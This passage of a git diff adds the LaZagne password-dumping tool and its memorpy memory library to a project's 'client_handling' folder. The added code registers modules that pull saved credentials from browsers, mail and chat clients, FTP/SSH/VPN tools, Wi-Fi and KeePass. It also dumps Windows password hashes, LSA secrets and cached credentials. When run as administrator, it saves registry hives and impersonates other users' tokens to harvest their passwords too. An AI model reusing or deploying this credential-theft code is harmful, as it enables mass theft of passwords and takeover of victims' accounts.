LPVOID), + ('dwActiveProcessorMask', ULONG_PTR), + ('dwNumberOfProcessors', DWORD), + ('dwProcessorType', DWORD), + ('dwAllocationGranularity', DWORD), + ('wProcessorLevel', WORD), + ('wProcessorRevision', WORD)] + + +class PROCESSENTRY32(Structure): + _fields_ = [('dwSize', c_uint), + ('cntUsage', c_uint), + ('th32ProcessID', c_uint), + ('th32DefaultHeapID', c_uint), + ('th32ModuleID', c_uint), + ('cntThreads', c_uint), + ('th32ParentProcessID', c_uint), + ('pcPriClassBase', c_long), + ('dwFlags', DWORD), + #('dwFlags', ULONG_PTR), + ('szExeFile', c_char * 260), + ('th32MemoryBase', c_long), + ('th32AccessKey', c_long)] + + +class MODULEENTRY32(Structure): + _fields_ = [('dwSize', c_uint), + ('th32ModuleID', c_uint), + ('th32ProcessID', c_uint), + ('GlblcntUsage', c_uint), + ('ProccntUsage', c_uint), + ('modBaseAddr', c_uint), + ('modBaseSize', c_uint), + ('hModule', c_uint), + ('szModule', c_char * 256), + ('szExePath', c_char * 260)] + + +class THREADENTRY32(Structure): + _fields_ = [('dwSize', c_uint), + ('cntUsage', c_uint), + ('th32ThreadID', c_uint), + ('th32OwnerProcessID', c_uint), + ('tpBasePri', c_uint), + ('tpDeltaPri', c_uint), + ('dwFlags', c_uint)] + + +class TH32CS_CLASS(object): + INHERIT = 2147483648 + SNAPHEAPLIST = 1 + SNAPMODULE = 8 + SNAPMODULE32 = 16 + SNAPPROCESS = 2 + SNAPTHREAD = 4 + ALL = 2032639 + + +Module32First = windll.kernel32.Module32First +Module32First.argtypes = [c_void_p, POINTER(MODULEENTRY32)] +Module32First.rettype = c_int +Module32Next = windll.kernel32.Module32Next +Module32Next.argtypes = [c_void_p, POINTER(MODULEENTRY32)] +Module32Next.rettype = c_int + +Process32First = windll.kernel32.Process32First +Process32First.argtypes = [c_void_p, POINTER(PROCESSENTRY32)] +Process32First.rettype = c_int +Process32Next = windll.kernel32.Process32Next +Process32Next.argtypes = [c_void_p, POINTER(PROCESSENTRY32)] +Process32Next.rettype = c_int + +CreateToolhelp32Snapshot = windll.kernel32.CreateToolhelp32Snapshot +CreateToolhelp32Snapshot.reltype = c_long +CreateToolhelp32Snapshot.argtypes = [c_int, c_int] + +CloseHandle = windll.kernel32.CloseHandle +CloseHandle.argtypes = [c_void_p] +CloseHandle.rettype = c_int + +OpenProcess = windll.kernel32.OpenProcess +OpenProcess.argtypes = [c_void_p, c_int, c_long] +OpenProcess.rettype = c_long +OpenProcessToken = windll.advapi32.OpenProcessToken +OpenProcessToken.argtypes = (HANDLE, DWORD, POINTER(HANDLE)) +OpenProcessToken.restype = BOOL + +ReadProcessMemory = windll.kernel32.ReadProcessMemory +ReadProcessMemory.argtypes = [HANDLE, LPCVOID, LPVOID, c_size_t, POINTER(c_size_t)] +ReadProcessMemory = windll.kernel32.ReadProcessMemory + +WriteProcessMemory = windll.kernel32.WriteProcessMemory +WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)] +WriteProcessMemory.restype = BOOL + +if sizeof(c_void_p) == 8: + NtWow64ReadVirtualMemory64=None +else: + try: + NtWow64ReadVirtualMemory64 = windll.ntdll.NtWow64ReadVirtualMemory64 + NtWow64ReadVirtualMemory64.argtypes = [HANDLE, c_longlong, LPVOID, c_ulonglong, POINTER(c_ulong)] # NTSTATUS (__stdcall *NtWow64ReadVirtualMemory64)(HANDLE ProcessHandle, PVOID64 BaseAddress, PVOID Buffer, ULONGLONG BufferSize, PULONGLONG NumberOfBytesRead); + NtWow64ReadVirtualMemory64.restype = BOOL + except: + NtWow64ReadVirtualMemory64=None + +VirtualQueryEx = windll.kernel32.VirtualQueryEx +VirtualQueryEx.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION), c_size_t] +VirtualQueryEx.restype = c_size_t + +#VirtualQueryEx64 = windll.kernel32.VirtualQueryEx +#VirtualQueryEx64.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION64), c_size_t] +#VirtualQueryEx64.restype = c_size_t + +PAGE_EXECUTE_READWRITE = 64 +PAGE_EXECUTE_READ = 32 +PAGE_READONLY = 2 +PAGE_READWRITE = 4 +PAGE_NOCACHE = 512 +PAGE_WRITECOMBINE = 1024 +PAGE_GUARD = 256 + +MEM_COMMIT = 4096 +MEM_FREE = 65536 +MEM_RESERVE = 8192 + +UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912 +DACL_SECURITY_INFORMATION = 4
\ No newline at end of file diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/__init__.py b/foreign/client_handling/lazagne/config/lib/memorpy/__init__.py new file mode 100644 index 0000000..853fcea --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/__init__.py @@ -0,0 +1,32 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. + + +import logging +logger=logging.getLogger("memorpy") +logger.setLevel(logging.WARNING) +ch = logging.StreamHandler() +ch.setLevel(logging.WARNING) +logger.addHandler(ch) + +import sys +from .MemWorker import * +from .Locator import * +from .Address import * +from .Process import * +from .utils import * +#if sys.platform=="win32": +# from wintools import * #not a necessary dependency, just used for debugging diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/structures.py b/foreign/client_handling/lazagne/config/lib/memorpy/structures.py new file mode 100644 index 0000000..a08c2ee --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/structures.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import sys +if sys.platform=="win32": + from .WinStructures import * +else: + from .LinStructures import * diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/utils.py b/foreign/client_handling/lazagne/config/lib/memorpy/utils.py new file mode 100644 index 0000000..5b1c58a --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/utils.py @@ -0,0 +1,121 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. + +import re +import struct + +def re_to_unicode(s): + newstring = '' + for c in s: + newstring += re.escape(c) + '\\x00' + + return newstring + + +def type_unpack(type): + """ return the struct and the len of a particular type """ + type = type.lower() + s = None + l = None + if type == 'short': + s = 'h' + l = 2 + elif type == 'ushort': + s = 'H' + l = 2 + elif type == 'int': + s = 'i' + l = 4 + elif type == 'uint': + s = 'I' + l = 4 + elif type == 'long': + s = 'l' + l = 4 + elif type == 'ulong': + s = 'L' + l = 4 + elif type == 'float': + s = 'f' + l = 4 + elif type == 'double': + s = 'd' + l = 8 + else: + raise TypeError('Unknown type %s' % type) + return ('<' + s, l) + + +def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'): + """ + function originally from pydbg, modified to display other types + """ + dump = prefix + slice = '' + if ftype != 'bytes': + structtype, structlen = type_unpack(ftype) + for i in range(0, len(data), structlen): + if addr % 16 == 0: + dump += ' ' + for char in slice: + if ord(char) >= 32 and ord(char) <= 126: + dump += char + else: + dump += '.' + + dump += '\n%s%08X: ' % (prefix, addr) + slice = '' + tmpval = 'NaN' + try: + packedval = data[i:i + structlen] + tmpval = struct.unpack(structtype, packedval)[0] + except Exception as e: + print(e) + + if tmpval == 'NaN': + dump += '{:<15} '.format(tmpval) + elif ftype == 'float': + dump += '{:<15.4f} '.format(tmpval) + else: + dump += '{:<15} '.format(tmpval) + addr += structlen + + else: + for byte in data: + if addr % 16 == 0: + dump += ' ' + for char in slice: + if ord(char) >= 32 and ord(char) <= 126: + dump += char + else: + dump += '.' + + dump += '\n%s%08X: ' % (prefix, addr) + slice = '' + dump += '%02X ' % byte + slice += chr(byte) + addr += 1 + + remainder = addr % 16 + if remainder != 0: + dump += ' ' * (16 - remainder) + ' ' + for char in slice: + if ord(char) >= 32 and ord(char) <= 126: + dump += char + else: + dump += '.' + + return dump + '\n' diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/version.py b/foreign/client_handling/lazagne/config/lib/memorpy/version.py new file mode 100644 index 0000000..51b8469 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/version.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +version=(1,7) +version_string="%s.%s"%version + diff --git a/foreign/client_handling/lazagne/config/lib/memorpy/wintools.py b/foreign/client_handling/lazagne/config/lib/memorpy/wintools.py new file mode 100644 index 0000000..f2bf936 --- /dev/null +++ b/foreign/client_handling/lazagne/config/lib/memorpy/wintools.py @@ -0,0 +1,35 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see <http://www.gnu.org/licenses/>. + +from ctypes import windll +import time + +def start_winforeground_daemon(): + import threading + t=threading.Thread(target=window_foreground_loop) + t.daemon=True + t.start() + +def window_foreground_loop(timeout=20): + """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """ + hwnd = windll.kernel32.GetConsoleWindow() + HWND_TOPMOST = -1 + SWP_NOMOVE = 2 + SWP_NOSIZE = 1 + while True: + windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE) + time.sleep(timeout) +
\ No newline at end of file diff --git a/foreign/client_handling/lazagne/config/manage_modules.py b/foreign/client_handling/lazagne/config/manage_modules.py new file mode 100644 index 0000000..c21f0df --- /dev/null +++ b/foreign/client_handling/lazagne/config/manage_modules.py @@ -0,0 +1,172 @@ +# Browsers +from foreign.client_handling.lazagne.softwares.browsers.chromium_based import chromium_browsers +from foreign.client_handling.lazagne.softwares.browsers.ie import IE +from foreign.client_handling.lazagne.softwares.browsers.mozilla import firefox_browsers +from foreign.client_handling.lazagne.softwares.browsers.ucbrowser import UCBrowser +# Chats +from foreign.client_handling.lazagne.softwares.chats.pidgin import Pidgin +from foreign.client_handling.lazagne.softwares.chats.psi import PSI +from foreign.client_handling.lazagne.softwares.chats.skype import Skype +# Databases +from foreign.client_handling.lazagne.softwares.databases.dbvis import Dbvisualizer +from foreign.client_handling.lazagne.softwares.databases.postgresql import PostgreSQL +from foreign.client_handling.lazagne.softwares.databases.robomongo import Robomongo +from foreign.client_handling.lazagne.softwares.databases.sqldeveloper import SQLDeveloper +from foreign.client_handling.lazagne.softwares.databases.squirrel import Squirrel +# Games +from foreign.client_handling.lazagne.softwares.games.galconfusion import GalconFusion +from foreign.client_handling.lazagne.softwares.games.kalypsomedia import KalypsoMedia +from foreign.client_handling.lazagne.softwares.games.roguestale import RoguesTale +from foreign.client_handling.lazagne.softwares.games.turba import Turba +# Git +from foreign.client_handling.lazagne.softwares.git.gitforwindows import GitForWindows +# Mails +from foreign.client_handling.lazagne.softwares.mails.outlook import Outlook +from foreign.client_handling.lazagne.softwares.mails.thunderbird import Thunderbird +# Maven +from foreign.client_handling.lazagne.softwares.maven.mavenrepositories import MavenRepositories +# Memory +from foreign.client_handling.lazagne.softwares.memory.keepass import Keepass +from foreign.client_handling.lazagne.softwares.memory.memorydump import MemoryDump +# Multimedia +from foreign.client_handling.lazagne.softwares.multimedia.eyecon import EyeCON +# Php +from foreign.client_handling.lazagne.softwares.php.composer import Composer +# Svn +from foreign.client_handling.lazagne.softwares.svn.tortoise import Tortoise +# Sysadmin +from foreign.client_handling.lazagne.softwares.sysadmin.apachedirectorystudio import ApacheDirectoryStudio +from foreign.client_handling.lazagne.softwares.sysadmin.coreftp import CoreFTP +from foreign.client_handling.lazagne.softwares.sysadmin.cyberduck import Cyberduck +from foreign.client_handling.lazagne.softwares.sysadmin.filezilla import Filezilla +from foreign.client_handling.lazagne.softwares.sysadmin.filezillaserver import FilezillaServer +from foreign.client_handling.lazagne.softwares.sysadmin.ftpnavigator import FtpNavigator +from foreign.client_handling.lazagne.softwares.sysadmin.opensshforwindows import OpenSSHForWindows +from foreign.client_handling.lazagne.softwares.sysadmin.openvpn import OpenVPN +from foreign.client_handling.lazagne.softwares.sysadmin.iiscentralcertp import IISCentralCertP +from foreign.client_handling.lazagne.softwares.sysadmin.keepassconfig import KeePassConfig +from foreign.client_handling.lazagne.softwares.sysadmin.iisapppool import IISAppPool +from foreign.client_handling.lazagne.softwares.sysadmin.puttycm import Puttycm +from foreign.client_handling.lazagne.softwares.sysadmin.rdpmanager import RDPManager +from foreign.client_handling.lazagne.softwares.sysadmin.unattended import Unattended +from foreign.client_handling.lazagne.softwares.sysadmin.vnc import Vnc +from foreign.client_handling.lazagne.softwares.sysadmin.winscp import WinSCP +from foreign.client_handling.lazagne.softwares.sysadmin.wsl import Wsl +# Wifi +from foreign.client_handling.lazagne.softwares.wifi.wifi import Wifi +# Windows +from foreign.client_handling.lazagne.softwares.windows.autologon import Autologon +from foreign.client_handling.lazagne.softwares.windows.cachedump import Cachedump +from foreign.client_handling.lazagne.softwares.windows.credman import Credman +from foreign.client_handling.lazagne.softwares.windows.credfiles import CredFiles +from foreign.client_handling.lazagne.softwares.windows.hashdump import Hashdump +from foreign.client_handling.lazagne.softwares.windows.ppypykatz import Pypykatz +from foreign.client_handling.lazagne.softwares.windows.lsa_secrets import LSASecrets +from foreign.client_handling.lazagne.softwares.windows.vault import Vault +from foreign.client_handling.lazagne.softwares.windows.vaultfiles import VaultFiles +from foreign.client_handling.lazagne.softwares.windows.windows import WindowsPassword + + +def get_categories(): + category = { + 'browsers': {'help': 'Web browsers supported'}, + 'chats': {'help': 'Chat clients supported'}, + 'databases': {'help': 'SQL/NoSQL clients supported'}, + 'games': {'help': 'Games etc.'}, + 'git': {'help': 'GIT clients supported'}, + 'mails': {'help': 'Email clients supported'}, + 'maven': {'help': 'Maven java build tool'}, + 'memory': {'help': 'Retrieve passwords from memory'}, + 'multimedia': {'help': 'Multimedia applications, etc'}, + 'php': {'help': 'PHP build tool'}, + 'svn': {'help': 'SVN clients supported'}, + 'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'}, + 'windows': {'help': 'Windows credentials (credential manager, etc.)'}, + 'wifi': {'help': 'Wifi'}, + } + return category + + +def get_modules(): + module_names = [ + + # Browser + IE(), + UCBrowser(), + + # Chats + Pidgin(), + Skype(), + PSI(), + + # Databases + Dbvisualizer(), + Squirrel(), + SQLDeveloper(), + Robomongo(), + PostgreSQL(), + + # games + KalypsoMedia(), + GalconFusion(), + RoguesTale(), + Turba(), + + # Git + GitForWindows(), + + # Mails + Outlook(), + Thunderbird(), + + # Maven + MavenRepositories(), + + # Memory + MemoryDump(), # retrieve browsers and keepass passwords + Keepass(), # should be launched after memory dump + + # Multimedia + EyeCON(), + + # Php + Composer(), + + # SVN + Tortoise(), + + # Sysadmin + ApacheDirectoryStudio(), + CoreFTP(), + Cyberduck(), + Filezilla(), + FilezillaServer(), + FtpNavigator(), + KeePassConfig(), + Puttycm(), + OpenSSHForWindows(), + OpenVPN(), + IISCentralCertP(), + IISAppPool(), + RDPManager(), + Unattended(), + WinSCP(), + Vnc(), + Wsl(), + + # Wifi + Wifi(), + + # Windows + Autologon(), + Pypykatz(), + Cachedump(), + Credman(), + Hashdump(), + LSASecrets(), + CredFiles(), + Vault(), + VaultFiles(), + WindowsPassword(), + ] + return module_names + chromium_browsers + firefox_browsers diff --git a/foreign/client_handling/lazagne/config/module_info.py b/foreign/client_handling/lazagne/config/module_info.py new file mode 100644 index 0000000..535549d --- /dev/null +++ b/foreign/client_handling/lazagne/config/module_info.py @@ -0,0 +1,49 @@ +""" +name => Name of a class +category => windows / browsers / etc +options => dictionary + - command + - action + - dest + - help + +ex: ('-s', action='store_true', dest='skype', help='skype') +- options['command'] = '-s' +- options['action'] = 'store_true' +- options['dest'] = 'skype' +- options['help'] = 'skype' +""" + +from foreign.client_handling.lazagne.config.write_output import print_debug + + +class ModuleInfo(object): + + def __init__(self, name, category, options={}, suboptions=[], registry_used=False, winapi_used=False, + system_module=False, dpapi_used=False, only_from_current_user=False): + self.name = name + self.category = category + self.options = { + 'command': '-{name}'.format(name=self.name), + 'action': 'store_true', + 'dest': self.name, + 'help': '{name} passwords'.format(name=self.name) + } + self.suboptions = suboptions + self.registry_used = registry_used + self.system_module = system_module + self.winapi_used = winapi_used + self.dpapi_used = dpapi_used + self.only_from_current_user = only_from_current_user + + def error(self, message): + print_debug('ERROR', message) + + def info(self, message): + print_debug('INFO', message) + + def debug(self, message): + print_debug('DEBUG', message) + + def warning(self, message): + print_debug('WARNING', message)
\ No newline at end of file diff --git a/foreign/client_handling/lazagne/config/run.py b/foreign/client_handling/lazagne/config/run.py new file mode 100644 index 0000000..a062fa3 --- /dev/null +++ b/foreign/client_handling/lazagne/config/run.py @@ -0,0 +1,261 @@ +# -*- coding: utf-8 -*- +# !/usr/bin/python +import ctypes +import logging +import sys +import traceback + +from foreign.client_handling.lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle +from foreign.client_handling.lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi +from foreign.client_handling.lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved +from foreign.client_handling.lazagne.config.execute_cmd import save_hives, delete_hives +from foreign.client_handling.lazagne.config.write_output import print_debug, StandardOutput +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.manage_modules import get_categories, get_modules + +# Useful for the Pupy project +# workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object +sys.setrecursionlimit(10000) + + +def create_module_dic(): + if constant.modules_dic: + return constant.modules_dic + + modules = {} + + # Define a dictionary for all modules + for category in get_categories(): + modules[category] = {} + + # Add all modules to the dictionary + for m in get_modules(): + modules[m.category][m.options['dest']] = m + + constant.modules_dic = modules + return modules + + +def run_module(title, module): + """ + Run only one module + """ + try: + constant.st.title_info(title.capitalize()) # print title + pwd_found = module.run() # run the module + constant.st.print_output(title.capitalize(), pwd_found) # print the results + + # Return value - not used but needed + yield True, title.capitalize(), pwd_found + except Exception: + error_message = traceback.format_exc() + print_debug('DEBUG', error_message) + yield False, title.capitalize(), error_message + + +def run_modules(module, subcategories={}, system_module=False): + """ + Run modules inside a category (could be one or multiple modules) + """ + modules_to_launch = [] + + # Launch only a specific module + for i in subcategories: + if subcategories[i] and i in module: + modules_to_launch.append(i) + + # Launch all modules + if not modules_to_launch: + modules_to_launch = module + + for i in modules_to_launch: + # Only current user could access to HKCU registry or use some API that only can be run from the user environment + if not constant.is_current_user: + if module[i].registry_used or module[i].only_from_current_user: + continue + + if system_module ^ module[i].system_module: + continue + + if module[i].winapi_used: + constant.module_to_exec_at_end['winapi'].append({ + 'title': i, + 'module': module[i], + }) + continue + + if module[i].dpapi_used: + constant.module_to_exec_at_end['dpapi'].append({ + 'title': i, + 'module': module[i], + }) + continue + + # Run module + for m in run_module(title=i, module=module[i]): + yield m + + +def run_category(category_selected, subcategories={}, system_module=False): + constant.module_to_exec_at_end = { + "winapi": [], + "dpapi": [], + } + modules = create_module_dic() + categories = [category_selected] if category_selected != 'all' else get_categories() + for category in categories: + for r in run_modules(modules[category], subcategories, system_module): + yield r + + if not system_module: + if constant.is_current_user: + # Modules using Windows API (CryptUnprotectData) can be called from the current session + for module in constant.module_to_exec_at_end.get('winapi', []): + for m in run_module(title=module['title'], module=module['module']): + yield m + + if constant.module_to_exec_at_end.get('dpapi', []): + if are_masterkeys_retrieved(): + for module in constant.module_to_exec_at_end.get('dpapi', []): + for m in run_module(title=module['title'], module=module['module']): + yield m + else: + if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []): + if are_masterkeys_retrieved(): + # Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData + for i in ['winapi', 'dpapi']: + for module in constant.module_to_exec_at_end.get(i, []): + for m in run_module(title=module['title'], module=module['module']): + yield m + + +def run_lazagne(category_selected='all', subcategories={}, password=None): + """ + Execution Workflow: + - If admin: + - Execute system modules to retrieve LSA Secrets and user passwords if possible + - These secret could be useful for further decryption (e.g Wifi) + - If a process of another user is launched try to impersone it (impersonating his token) + - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques + - From our user: + - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) + - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.) + - If the user password or the dpapi hash is found: + - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.) + - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege: + - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) + - If the user password or the dpapi hash is found: + - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.) + + To resume: + - Some passwords (e.g Firefox) could be retrieved from any other user + - CryptUnprotectData can be called only from our current session + - DPAPI Blob can decrypted only if we have the password or the hash of the user + """ + + # Useful if this function is called from another tool + if password: + constant.user_password = password + + if not constant.st: + constant.st = StandardOutput() + + # --------- Execute System modules --------- + if ctypes.windll.shell32.IsUserAnAdmin() != 0: + if save_hives(): + # System modules (hashdump, lsa secrets, etc.) + constant.username = 'SYSTEM' + constant.finalResults = {'User': constant.username} + constant.system_dpapi = SystemDpapi() + + if logging.getLogger().isEnabledFor(logging.INFO): + constant.st.print_user(constant.username) + yield 'User', constant.username + + try: + for r in run_category(category_selected, subcategories, system_module=True): + yield r + except: # Catch all kind of exceptions + pass + finally: + delete_hives() + + constant.stdout_result.append(constant.finalResults) + + # ------ Part used for user impersonation ------ + + constant.is_current_user = True + constant.username = get_username_winapi() + if not constant.username.endswith('$'): + + constant.finalResults = {'User': constant.username} + constant.st.print_user(constant.username) + yield 'User', constant.username + + set_env_variables(user=constant.username) + + for r in run_category(category_selected, subcategories): + yield r + constant.stdout_result.append(constant.finalResults) + + # Check if admin to impersonate + if ctypes.windll.shell32.IsUserAnAdmin() != 0: + + # --------- Impersonation using tokens --------- + + sids = list_sids() + impersonate_users = {} + impersonated_user = [constant.username] + + for sid in sids: + # Not save the current user's SIDs and not impersonate system user + if constant.username != sid[3] and sid[2] != 'S-1-5-18': + impersonate_users.setdefault(sid[3], []).append(sid[2]) + + for user in impersonate_users: + if 'service' in user.lower().strip(): + continue + + # Do not impersonate the same user twice + if user in impersonated_user: + continue + + constant.st.print_user(user) + yield 'User', user + + constant.finalResults = {'User': user} + for sid in impersonate_users[user]: + try: + set_env_variables(user, to_impersonate=True) + if impersonate_sid_long_handle(sid, close=False): + impersonated_user.append(user) + + # Launch module wanted + for r in run_category(category_selected, subcategories): + yield r + + rev2self() + constant.stdout_result.append(constant.finalResults) + break + except Exception: + print_debug('DEBUG', traceback.format_exc()) + + # --------- Impersonation browsing file system --------- + + constant.is_current_user = False + # Ready to check for all users remaining + all_users = get_user_list_on_filesystem(impersonated_user=[constant.username]) + for user in all_users: + # Fix value by default for user environment (APPDATA and USERPROFILE) + set_env_variables(user, to_impersonate=True) + constant.st.print_user(user) + + constant.username = user + constant.finalResults = {'User': user} + yield 'User', user + + # Retrieve passwords that need high privileges + for r in run_category(category_selected, subcategories): + yield r + + constant.stdout_result.append(constant.finalResults) diff --git a/foreign/client_handling/lazagne/config/users.py b/foreign/client_handling/lazagne/config/users.py new file mode 100644 index 0000000..e06a253 --- /dev/null +++ b/foreign/client_handling/lazagne/config/users.py @@ -0,0 +1,81 @@ +# -*- coding: utf-8 -*- +# !/usr/bin/python +import os +import ctypes +import sys + +from foreign.client_handling.lazagne.config.winstructure import get_os_version +from foreign.client_handling.lazagne.config.constant import constant + + +def get_user_list_on_filesystem(impersonated_user=[]): + """ + Get user list to retrieve their passwords + """ + # Check users existing on the system (get only directories) + user_path = u'{drive}:\\Users'.format(drive=constant.drive) + if float(get_os_version()) < 6: + user_path = u'{drive}:\\Documents and Settings'.format(drive=constant.drive) + + all_users = [] + if os.path.exists(user_path): + all_users = [filename for filename in os.listdir(user_path) if os.path.isdir(os.path.join(user_path, filename))] + + # Remove default users + for user in ['All Users', 'Default User', 'Default', 'Public', 'desktop.ini']: + if user in all_users: + all_users.remove(user) + + # Removing user that have already been impersonated + for imper_user in impersonated_user: + if imper_user in all_users: + all_users.remove(imper_user) + + return all_users + + +def set_env_variables(user, to_impersonate=False): + # Restore template path + template_path = { + 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\', + 'USERPROFILE': u'{drive}:\\Users\\{user}\\', + 'HOMEDRIVE': u'{drive}:', + 'HOMEPATH': u'{drive}:\\Users\\{user}', + 'ALLUSERSPROFILE': u'{drive}:\\ProgramData', + 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\', + 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local', + } + + constant.profile = template_path + if not to_impersonate: + # Get value from environment variables + for env in constant.profile: + if os.environ.get(env): + try: + constant.profile[env] = os.environ.get(env).decode(sys.getfilesystemencoding()) + except Exception: + constant.profile[env] = os.environ.get(env) + + # Replace "drive" and "user" with the correct values + for env in constant.profile: + constant.profile[env] = constant.profile[env].format(drive=constant.drive, user=user) + + +def get_username_winapi(): + GetUserNameW = ctypes.windll.advapi32.GetUserNameW + GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_uint)] + GetUserNameW.restype = ctypes.c_uint + + _buffer = ctypes.create_unicode_buffer(1) + size = ctypes.c_uint(len(_buffer)) + while not GetUserNameW(_buffer, ctypes.byref(size)): + # WinError.h + # define ERROR_INSUFFICIENT_BUFFER 122L // dderror + if ctypes.GetLastError() == 122: + _buffer = ctypes.create_unicode_buffer(len(_buffer)*2) + size.value = len(_buffer) + + else: + return os.getenv('username') # Unusual error + + return _buffer.value diff --git a/foreign/client_handling/lazagne/config/winstructure.py b/foreign/client_handling/lazagne/config/winstructure.py new file mode 100644 index 0000000..dd5de1b --- /dev/null +++ b/foreign/client_handling/lazagne/config/winstructure.py @@ -0,0 +1,679 @@ +# Vault Structure has been taken from mimikatz +from ctypes.wintypes import * +from ctypes import * + +import sys +import os + +try: + import _winreg as winreg +except ImportError: + import winreg + +LPTSTR = LPSTR +LPCTSTR = LPSTR +PHANDLE = POINTER(HANDLE) +HANDLE = LPVOID +LPDWORD = POINTER(DWORD) +PVOID = c_void_p +INVALID_HANDLE_VALUE = c_void_p(-1).value +NTSTATUS = ULONG() +PWSTR = c_wchar_p +LPWSTR = c_wchar_p +PBYTE = POINTER(BYTE) +LPBYTE = POINTER(BYTE) +PSID = PVOID +LONG = c_long +WORD = c_uint16 + +# #############################- Constants ############################## + +# Credential Manager +CRYPTPROTECT_UI_FORBIDDEN = 0x01 +CRED_TYPE_GENERIC = 0x1 +CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4 + +# Regedit +HKEY_CURRENT_USER = -2147483647 +HKEY_LOCAL_MACHINE = -2147483646 +KEY_READ = 131097 +KEY_ENUMERATE_SUB_KEYS = 8 +KEY_QUERY_VALUE = 1 + +# custom key to read registry (not from msdn) +ACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE + +# Token manipulation +PROCESS_QUERY_INFORMATION = 0x0400 +STANDARD_RIGHTS_REQUIRED = 0x000F0000 +READ_CONTROL = 0x00020000 +STANDARD_RIGHTS_READ = READ_CONTROL +TOKEN_ASSIGN_PRIMARY = 0x0001 +TOKEN_DUPLICATE = 0x0002 +TOKEN_IMPERSONATE = 0x0004 +TOKEN_QUERY = 0x0008 +TOKEN_QUERY_SOURCE = 0x0010 +TOKEN_ADJUST_PRIVILEGES = 0x0020 +TOKEN_ADJUST_GROUPS = 0x0040 +TOKEN_ADJUST_DEFAULT = 0x0080 +TOKEN_ADJUST_SESSIONID = 0x0100 +TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) +tokenprivs = ( + TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | ( + 131072 | 4)) +TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID) + +SE_DEBUG_PRIVILEGE = 20 + + +# ############################# Structures ############################## + +class CREDENTIAL_ATTRIBUTE(Structure): + _fields_ = [ + ('Keyword', LPSTR), + ('Flags', DWORD), + ('ValueSize', DWORD), + ('Value', LPBYTE) + ] + + +PCREDENTIAL_ATTRIBUTE = 